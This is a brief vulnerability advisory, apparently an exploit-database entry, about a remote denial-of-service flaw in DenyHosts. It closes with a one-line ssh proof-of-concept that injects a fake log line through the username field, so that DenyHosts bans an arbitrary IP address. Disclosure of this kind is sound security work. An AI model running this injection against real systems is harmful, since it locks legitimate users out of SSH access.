DenyHosts - 'regex.py' Remote Denial of Service
source: https://www.securityfocus.com/bid/64478/info
DenyHosts is prone to a remote denial-of-service vulnerability.
Successfully exploiting this issue allows remote attackers to deny further SSH network access to arbitrary IP addresses, denying service to legitimate users.
ssh -l 'Invalid user root from 123.123.123.123' 21.21.21.21